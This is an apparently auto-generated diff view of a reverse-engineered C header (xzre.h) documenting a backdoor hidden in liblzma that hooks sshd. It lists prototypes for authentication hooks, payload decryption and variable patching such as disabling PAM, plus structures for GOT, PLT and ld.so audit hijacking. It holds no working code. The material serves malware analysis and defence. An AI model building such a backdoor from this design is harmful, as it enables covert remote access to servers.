3606  void *addr2,
-
3607  void *search_base,
-
3608  u8 *code_end,
-
3609  string_references_t *refs,
-
3610  global_context_t *global
-
3611 );
-
3612 
-
3613 enum SocketMode {
-
3614  DIR_WRITE = 0,
-
3615  DIR_READ = 1
-
3616 };
-
3617 
-
3630 extern BOOL sshd_get_client_socket(
-
3631  global_context_t *ctx,
-
3632  int *pSocket,
-
3633  int socket_index,
-
3634  enum SocketMode socket_direction
-
3635 );
-
3636 
-
3645 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
-
3646 
-
3655 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
-
3656 
-
3666 extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
-
3667 
-
3677 extern BOOL is_payload_message(
-
3678  u8 *sshbuf_data,
-
3679  size_t sshbuf_size,
-
3680  size_t *pOutPayloadSize,
-
3681  global_context_t *ctx);
-
3682 
-
3691 extern BOOL decrypt_payload_message(
-
3692  void *payload,
-
3693  size_t payload_size,
-
3694  global_context_t *ctx);
-
3695 
-
3702 extern BOOL check_backdoor_state(global_context_t *ctx);
-
3703 
-
3713 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3714 
-
3723 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3724 
-
3733 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3734 
-
3743 extern void mm_log_handler_hook(
-
3744  LogLevel level,
-
3745  int forced,
-
3746  const char *msg,
-
3747  void *ctx);
-
3748 
-
3758 extern ssize_t fd_read(
-
3759  int fd,
-
3760  void *buffer,
-
3761  size_t count,
-
3762  libc_imports_t *funcs);
-
3763 
-
3773 extern ssize_t fd_write(
-
3774  int fd,
-
3775  void *buffer,
-
3776  size_t count,
-
3777  libc_imports_t *funcs);
-
3778 
-
3786 extern BOOL contains_null_pointers(
-
3787  void **pointers,
-
3788  unsigned int num_pointers
-
3789 );
-
3790 
-
3799 extern BOOL count_pointers(
-
3800  void **ptrs,
-
3801  u64 *count_out,
-
3802  libc_imports_t *funcs
-
3803 );
-
3804 
-
3811 BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx);
-
3812 
-
3821 extern void sshd_log(
-
3822  sshd_log_ctx_t *log_ctx,
-
3823  LogLevel level, const char *fmt, ...);
-
3824 
-
3836 extern BOOL sshd_find_sensitive_data(
-
3837  elf_info_t *sshd,
-
3838  elf_info_t *libcrypto,
-
3839  string_references_t *refs,
-
3840  imported_funcs_t *funcs,
-
3841  global_context_t *ctx);
-
3842 
-
3849 extern u32 resolver_call_count;
-
3850 static_assert(sizeof(resolver_call_count) == 0x4);
-
3851 
-
3852 extern global_context_t *global_ctx;
-
3853 static_assert(sizeof(global_ctx) == 0x8);
-
3854 
-
3861 extern backdoor_hooks_data_t *hooks_data_addr;
-
3862 static_assert(sizeof(hooks_data_addr) == 0x8);
-
3863 
-
3874 extern const ptrdiff_t fake_lzma_allocator_offset;
-
3875 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
-
3876 
-
3894 extern fake_lzma_allocator_t fake_lzma_allocator;
-
3895 static_assert(sizeof(fake_lzma_allocator) == 0x20);
-
3896 
-
3904 extern void *lzma_alloc(size_t size, lzma_allocator *allocator);
-
3905 
-
3914 extern const ptrdiff_t elf_functions_offset;
-
3915 static_assert(sizeof(elf_functions_offset) == 0x8);
-
3916 
-
3929 extern const elf_functions_t elf_functions;
-
3930 static_assert(sizeof(elf_functions) == 0x38);
-
3931 
-
3940 extern const u64 cpuid_random_symbol;
-
3941 static_assert(sizeof(cpuid_random_symbol) == 0x8);
-
3942 
-
3951 extern const u64 tls_get_addr_random_symbol;
-
3952 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
-
3953 
-
3962 extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;
-
3963 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
-
3964 
-
3973 extern const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts;
-
3974 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
-
3975 
-
3984 extern const u64 string_mask_data[238];
-
3985 static_assert(sizeof(string_mask_data) == 0x770);
-
3986 
-
3995 extern const u32 string_action_data[1304];
-
3996 static_assert(sizeof(string_action_data) == 0x1460);
-
3997 
-
3998 #include "util.h"
-
3999 #endif
+
3385 
+
3392 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
+
3393 
+
3403 extern BOOL rsa_key_hash(
+
3404  const RSA *rsa,
+
3405  u8 *mdBuf,
+
3406  u64 mdBufSize,
+
3407  imported_funcs_t *funcs);
+
3408 
+
3418 extern BOOL dsa_key_hash(
+
3419  const DSA *dsa,
+
3420  u8 *mdBuf,
+
3421  u64 mdBufSize,
+
3422  global_context_t *ctx);
+
3423 
+
3434 extern BOOL sha256(
+
3435  const void *data,
+
3436  size_t count,
+
3437  u8 *mdBuf,
+
3438  u64 mdBufSize,
+
3439  imported_funcs_t *funcs);
+
3440 
+
3458 extern BOOL verify_signature(
+
3459  struct sshkey *sshkey,
+
3460  u8 *signed_data,
+
3461  u64 sshkey_digest_offset,
+
3462  u64 signed_data_size,
+
3463  u8 *signature,
+
3464  u8 *ed448_raw_key,
+
3465  global_context_t *global_ctx
+
3466 );
+
3467 
+
3479 extern BOOL sshd_patch_variables(
+
3480  BOOL skip_root_patch,
+
3481  BOOL disable_pam,
+
3482  BOOL replace_monitor_reqtype,
+
3483  int monitor_reqtype,
+
3484  global_context_t *global_ctx
+
3485 );
+
3486 
+
3495 extern BOOL sshd_find_monitor_struct(
+
3496  elf_info_t *elf,
+
3497  string_references_t *refs,
+
3498  global_context_t *ctx
+
3499 );
+
3500 
+
3510 extern BOOL sshd_find_main(
+
3511  u8 **code_start_out,
+
3512  elf_info_t *sshd,
+
3513  elf_info_t *libcrypto,
+
3514  imported_funcs_t *imported_funcs
+
3515 );
+
3516 
+
3544 extern BOOL sshd_find_monitor_field_addr_in_function(
+
3545  u8 *code_start,
+
3546  u8 *code_end,
+
3547  u8 *data_start,
+
3548  u8 *data_end,
+
3549  void **monitor_field_ptr_out,
+
3550  global_context_t *ctx
+
3551 );
+
3552 
+
3564 extern void *find_addr_referenced_in_mov_instruction(
+
3565  StringXrefId id,
+
3566  string_references_t *refs,
+
3567  void *mem_range_start,
+
3568  void *mem_range_end
+
3569 );
+
3570 
+
3605 extern BOOL validate_log_handler_pointers(
+
3606  void *addr1,
+
3607  void *addr2,
+
3608  void *search_base,
+
3609  u8 *code_end,
+
3610  string_references_t *refs,
+
3611  global_context_t *global
+
3612 );
+
3613 
+
3614 enum SocketMode {
+
3615  DIR_WRITE = 0,
+
3616  DIR_READ = 1
+
3617 };
+
3618 
+
3631 extern BOOL sshd_get_client_socket(
+
3632  global_context_t *ctx,
+
3633  int *pSocket,
+
3634  int socket_index,
+
3635  enum SocketMode socket_direction
+
3636 );
+
3637 
+
3646 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
+
3647 
+
3656 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
+
3657 
+
3667 extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
+
3668 
+
3678 extern BOOL is_payload_message(
+
3679  u8 *sshbuf_data,
+
3680  size_t sshbuf_size,
+
3681  size_t *pOutPayloadSize,
+
3682  global_context_t *ctx);
+
3683 
+
3692 extern BOOL decrypt_payload_message(
+
3693  void *payload,
+
3694  size_t payload_size,
+
3695  global_context_t *ctx);
+
3696 
+
3703 extern BOOL check_backdoor_state(global_context_t *ctx);
+
3704 
+
3714 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3715 
+
3724 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3725 
+
3734 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3735 
+
3744 extern void mm_log_handler_hook(
+
3745  LogLevel level,
+
3746  int forced,
+
3747  const char *msg,
+
3748  void *ctx);
+
3749 
+
3759 extern ssize_t fd_read(
+
3760  int fd,
+
3761  void *buffer,
+
3762  size_t count,
+
3763  libc_imports_t *funcs);
+
3764 
+
3774 extern ssize_t fd_write(
+
3775  int fd,
+
3776  void *buffer,
+
3777  size_t count,
+
3778  libc_imports_t *funcs);
+
3779 
+
3787 extern BOOL contains_null_pointers(
+
3788  void **pointers,
+
3789  unsigned int num_pointers
+
3790 );
+
3791 
+
3800 extern BOOL count_pointers(
+
3801  void **ptrs,
+
3802  u64 *count_out,
+
3803  libc_imports_t *funcs
+
3804 );
+
3805 
+
3812 BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx);
+
3813 
+
3822 extern void sshd_log(
+
3823  sshd_log_ctx_t *log_ctx,
+
3824  LogLevel level, const char *fmt, ...);
+
3825 
+
3837 extern BOOL sshd_find_sensitive_data(
+
3838  elf_info_t *sshd,
+
3839  elf_info_t *libcrypto,
+
3840  string_references_t *refs,
+
3841  imported_funcs_t *funcs,
+
3842  global_context_t *ctx);
+
3843 
+
3850 extern u32 resolver_call_count;
+
3851 static_assert(sizeof(resolver_call_count) == 0x4);
+
3852 
+
3853 extern global_context_t *global_ctx;
+
3854 static_assert(sizeof(global_ctx) == 0x8);
+
3855 
+
3862 extern backdoor_hooks_data_t *hooks_data_addr;
+
3863 static_assert(sizeof(hooks_data_addr) == 0x8);
+
3864 
+
3875 extern const ptrdiff_t fake_lzma_allocator_offset;
+
3876 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
+
3877 
+
3895 extern fake_lzma_allocator_t fake_lzma_allocator;
+
3896 static_assert(sizeof(fake_lzma_allocator) == 0x20);
+
3897 
+
3905 extern void *lzma_alloc(size_t size, lzma_allocator *allocator);
+
3906 
+
3915 extern const ptrdiff_t elf_functions_offset;
+
3916 static_assert(sizeof(elf_functions_offset) == 0x8);
+
3917 
+
3930 extern const elf_functions_t elf_functions;
+
3931 static_assert(sizeof(elf_functions) == 0x38);
+
3932 
+
3941 extern const u64 cpuid_random_symbol;
+
3942 static_assert(sizeof(cpuid_random_symbol) == 0x8);
+
3943 
+
3952 extern const u64 tls_get_addr_random_symbol;
+
3953 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
+
3954 
+
3963 extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;
+
3964 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
+
3965 
+
3974 extern const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts;
+
3975 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
+
3976 
+
3985 extern const u64 string_mask_data[238];
+
3986 static_assert(sizeof(string_mask_data) == 0x770);
+
3987 
+
3996 extern const u32 string_action_data[1304];
+
3997 static_assert(sizeof(string_action_data) == 0x1460);
+
3998 
+
3999 #include "util.h"
+
4000 #endif
RSA_public_decrypt
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
audit_ifaces
Definition: xzre.h:216
auditstate
Definition: xzre.h:185
-
backdoor_cpuid_reloc_consts
Definition: xzre.h:2015
-
backdoor_cpuid_reloc_consts::backdoor_init_stage2_got_offset
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2033
-
backdoor_cpuid_reloc_consts::cpuid_random_symbol_got_offset
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2021
-
backdoor_cpuid_reloc_consts::cpuid_got_index
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2027
-
backdoor_data_handle
data passed to functions that access the backdoor data
Definition: xzre.h:1605
-
backdoor_data
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1650
-
backdoor_data::libc_imports
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1695
-
backdoor_data::string_refs
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1700
-
backdoor_data::main_map
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1655
-
backdoor_data::libc_info
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1685
-
backdoor_data::libcrypto_info
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1690
-
backdoor_data::dynamic_linker_info
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1681
-
backdoor_data::main_info
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1675
-
backdoor_data::import_resolver
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1705
-
backdoor_data::dynamic_linker_map
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1660
-
backdoor_hooks_ctx
Definition: xzre.h:1520
-
backdoor_hooks_data
Definition: xzre.h:1499
-
backdoor_setup_params
Definition: xzre.h:1548
-
backdoor_shared_globals
Definition: xzre.h:1344
-
backdoor_shared_libraries_data
Definition: xzre.h:1727
-
backdoor_shared_libraries_data::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1739
-
backdoor_shared_libraries_data::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1744
-
backdoor_shared_libraries_data::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1734
-
backdoor_tls_get_addr_reloc_consts
Definition: xzre.h:2041
-
backdoor_tls_get_addr_reloc_consts::tls_get_addr_plt_offset
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2047
-
backdoor_tls_get_addr_reloc_consts::tls_get_addr_random_symbol_got_offset
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2053
-
cmd_arguments
Definition: xzre.h:1805
-
dasm_ctx
Definition: xzre.h:668
-
dasm_ctx::flags2
u8 flags2
see InstructionFlags2
Definition: xzre.h:680
-
dasm_ctx::flags
u8 flags
see InstructionFlags
Definition: xzre.h:676
-
dl_tls_index
Definition: xzre.h:3109
-
elf_entry_ctx
Definition: xzre.h:651
-
elf_entry_ctx::symbol_ptr
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:656
-
elf_entry_ctx::frame_address
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:661
-
elf_functions
Definition: xzre.h:2060
-
elf_handles
array of ELF handles
Definition: xzre.h:1565
-
elf_handles::dynamic_linker
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1576
-
elf_handles::main
elf_info_t * main
this is for sshd
Definition: xzre.h:1570
-
elf_info
Definition: xzre.h:755
-
elf_info::code_segment_size
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:834
-
elf_info::first_vaddr
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:763
-
elf_info::gnurelro_memsize
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:809
-
elf_info::verdef
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:813
-
elf_info::gnu_hash_last_bloom
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:851
-
elf_info::dyn
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:775
-
elf_info::strtab
char * strtab
pointer to the ELF string table
Definition: xzre.h:783
-
elf_info::phdrs
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:767
-
elf_info::gnu_hash_nbuckets
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:847
-
elf_info::elfbase
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:759
-
elf_info::e_phnum
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:771
-
elf_info::plt_relocs
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:791
-
elf_info::gnurelro_found
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:801
-
elf_info::code_segment_start
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:829
-
elf_info::verdef_num
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:817
-
elf_info::gnurelro_vaddr
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:805
-
elf_info::symtab
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:787
-
elf_info::dyn_num_entries
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:779
-
elf_info::plt_relocs_num
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:795
-
fake_lzma_allocator
Definition: xzre.h:2090
-
global_context
Definition: xzre.h:1216
-
global_context::lzma_code_end
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1283
-
global_context::libc_imports
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1226
-
global_context::STR_ssh_rsa_cert_v01_openssh_com
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1244
-
global_context::disable_backdoor
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1236
-
global_context::imported_funcs
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1222
-
global_context::sshd_data_start
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1264
-
global_context::num_shifted_bits
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1308
-
global_context::sshd_code_start
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1256
-
global_context::sshd_data_end
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1268
-
global_context::STR_rsa_sha2_256
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1248
-
global_context::sshd_code_end
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1260
-
global_context::lzma_code_start
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1276
+
backdoor_cpuid_reloc_consts
Definition: xzre.h:2016
+
backdoor_cpuid_reloc_consts::backdoor_init_stage2_got_offset
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2034
+
backdoor_cpuid_reloc_consts::cpuid_random_symbol_got_offset
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2022
+
backdoor_cpuid_reloc_consts::cpuid_got_index
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2028
+
backdoor_data_handle
data passed to functions that access the backdoor data
Definition: xzre.h:1606
+
backdoor_data
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1651
+
backdoor_data::libc_imports
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1696
+
backdoor_data::string_refs
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1701
+
backdoor_data::main_map
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1656
+
backdoor_data::libc_info
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1686
+
backdoor_data::libcrypto_info
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1691
+
backdoor_data::dynamic_linker_info
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1682
+
backdoor_data::main_info
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1676
+
backdoor_data::import_resolver
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1706
+
backdoor_data::dynamic_linker_map
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1661
+
backdoor_hooks_ctx
Definition: xzre.h:1521
+
backdoor_hooks_data
Definition: xzre.h:1500
+
backdoor_setup_params
Definition: xzre.h:1549
+
backdoor_shared_globals
Definition: xzre.h:1345
+
backdoor_shared_libraries_data
Definition: xzre.h:1728
+
backdoor_shared_libraries_data::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1740
+
backdoor_shared_libraries_data::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1745
+
backdoor_shared_libraries_data::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1735
+
backdoor_tls_get_addr_reloc_consts
Definition: xzre.h:2042
+
backdoor_tls_get_addr_reloc_consts::tls_get_addr_plt_offset
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2048
+
backdoor_tls_get_addr_reloc_consts::tls_get_addr_random_symbol_got_offset
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2054
+
cmd_arguments
Definition: xzre.h:1806
+
dasm_ctx
Definition: xzre.h:669
+
dasm_ctx::flags2
u8 flags2
see InstructionFlags2
Definition: xzre.h:681
+
dasm_ctx::flags
u8 flags
see InstructionFlags
Definition: xzre.h:677
+
dl_tls_index
Definition: xzre.h:3110
+
elf_entry_ctx
Definition: xzre.h:652
+
elf_entry_ctx::symbol_ptr
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:657
+
elf_entry_ctx::frame_address
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:662
+
elf_functions
Definition: xzre.h:2061
+
elf_handles
array of ELF handles
Definition: xzre.h:1566
+
elf_handles::dynamic_linker
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1577
+
elf_handles::main
elf_info_t * main
this is for sshd
Definition: xzre.h:1571
+
elf_info
Definition: xzre.h:756
+
elf_info::code_segment_size
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:835
+
elf_info::first_vaddr
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:764
+
elf_info::gnurelro_memsize
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:810
+
elf_info::verdef
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:814
+
elf_info::gnu_hash_last_bloom
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:852
+
elf_info::dyn
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:776
+
elf_info::strtab
char * strtab
pointer to the ELF string table
Definition: xzre.h:784
+
elf_info::phdrs
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:768
+
elf_info::gnu_hash_nbuckets
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:848
+
elf_info::elfbase
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:760
+
elf_info::e_phnum
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:772
+
elf_info::plt_relocs
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:792
+
elf_info::gnurelro_found
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:802
+
elf_info::code_segment_start
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:830
+
elf_info::verdef_num
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:818
+
elf_info::gnurelro_vaddr
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:806
+
elf_info::symtab
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:788
+
elf_info::dyn_num_entries
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:780
+
elf_info::plt_relocs_num
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:796
+
fake_lzma_allocator
Definition: xzre.h:2091
+
global_context
Definition: xzre.h:1217
+
global_context::lzma_code_end
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1284
+
global_context::libc_imports
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1227
+
global_context::STR_ssh_rsa_cert_v01_openssh_com
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1245
+
global_context::disable_backdoor
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1237
+
global_context::imported_funcs
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1223
+
global_context::sshd_data_start
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1265
+
global_context::num_shifted_bits
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1309
+
global_context::sshd_code_start
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1257
+
global_context::sshd_data_end
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1269
+
global_context::STR_rsa_sha2_256
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1249
+
global_context::sshd_code_end
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1261
+
global_context::lzma_code_start
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1277
gnu_hash_table
Definition: xzre.h:193
-
got_ctx
Definition: xzre.h:622
-
got_ctx::return_address
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:633
-
got_ctx::cpuid_fn
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:637
-
got_ctx::got_ptr
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:626
-
got_ctx::got_offset
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:642
-
imported_funcs
Definition: xzre.h:940
-
imported_funcs::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:951
-
imported_funcs::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:961
-
imported_funcs::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:956
-
instruction_search_ctx
Definition: xzre.h:2101
-
instruction_search_ctx::result
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2127
-
instruction_search_ctx::offset_to_match
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2116
-
instruction_search_ctx::start_addr
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2106
-
instruction_search_ctx::end_addr
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2111
-
instruction_search_ctx::output_register_to_match
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2121
-
key_ctx
Definition: xzre.h:1908
-
key_payload_body
Definition: xzre.h:1812
-
key_payload_hdr
the payload header. also used as Chacha IV
Definition: xzre.h:1794
-
key_payload
the contents of the RSA 'n' field
Definition: xzre.h:1826
-
ldso_ctx
Definition: xzre.h:1358
-
ldso_ctx::link_map_l_audit_any_plt_bitmask
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1409
-
ldso_ctx::_dl_naudit_ptr
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1428
-
ldso_ctx::sshd_auditstate_bindflags_ptr
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1387
-
ldso_ctx::libcrypto_l_name
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1445
-
ldso_ctx::_dl_audit_symbind_alt__size
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1457
-
ldso_ctx::libcrypto_auditstate_bindflags_old_value
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1375
-
ldso_ctx::_dl_audit_ptr
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1419
-
ldso_ctx::sshd_link_map_l_audit_any_plt_addr
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1402
-
ldso_ctx::libcrypto_auditstate_bindflags_ptr
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1370
-
ldso_ctx::sshd_auditstate_bindflags_old_value
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1392
-
libc_imports
Definition: xzre.h:895
+
got_ctx
Definition: xzre.h:623
+
